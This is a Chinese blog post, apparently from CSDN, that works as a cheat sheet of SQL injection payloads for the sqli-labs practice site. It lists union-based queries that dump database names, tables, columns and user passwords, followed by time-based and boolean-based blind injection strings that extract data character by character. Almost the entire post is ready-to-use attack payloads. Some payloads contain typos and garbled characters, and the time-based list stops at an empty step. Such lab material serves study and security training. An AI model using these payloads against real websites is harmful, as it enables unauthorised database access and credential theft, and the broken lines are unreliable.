sql注入的方式

二,求列数
http://127.0.0.1/sqli/sqli-labs-master/Less-1/?id=1%27%20order%20by%204%23
二分法
三、求显示位
实际为报错位
四、爆数据库版本号
id=-1’ union select 1,2,version() – +
五、爆当前数据库名
id=-1’ union select 1,2,database() --+
查询所有数据库 id=-1‘ union select 1,2,group_concat(schema_name) from information_schema.schemata – +

六、爆表名
id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’-- +
七、爆列名
id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ – +
八、爆字段名
id=-1’union select 1,username,password from users where id=2 --+

时间型盲注
1.求数据库名长度
and if(length(database())=8,sleep(5),1) – -
2.求数据库名对应的ASCII值
and if(ascii(substr((select database()),1,1))=115,sleep(5),1) – -
3.求表的数量
and if((select count(*) from information_schema.tables where table_schema=‘security’)=4,sleep(5),1)-- -
4.求表名的长度
and if((select length(table_name) from information_schema.tables where table_shcema=‘secuity’ limit 0,1)=6,sleep(5),1) – -
5.求表名对应的ASCII值
and if(ascii(substr((select(table_name)from information_schema,tables where table_schema=‘security’ limit 0,1),1,1))=101,sleep(5),1)-- -
6.求列的数量
and if((select count(column_name)from information_schema.columns where table_schema=‘security’ and table_name=‘users’)=3,sleep(5),1)-- -
7.

布尔型盲注
1.求闭合字符
2.求数据库名长度
and length(database())=8 %23
3.求当前数据库名对应的ASCII值
and ascii(substr(database(),1,1))=115 %23
4.求表的数量
and (select count(table_name) from information_schema.tables where table_schema=‘security’)=4
%23
5.求表名的长度
and (select length(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1)=6 %23
6.求表名对应的ASCII值
and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101 %23
7.求列的数量
and (select count(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)=3 %23
8.求列名的长度
and (select length(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1)❤️ %23
9.求列名对应的ASCII值
and ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))=105 %23
10.求字段的数量
and (select count(username) from security.users)=13 %23
11.求字段内容的长度
and (select length(username) from security.users limit 0,1)=4 %23
12.求字段对应的ASCII值
and ascii(substr((select concat(username,0x23,password) from security.users limit 0,1),1,1))=68 %23
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值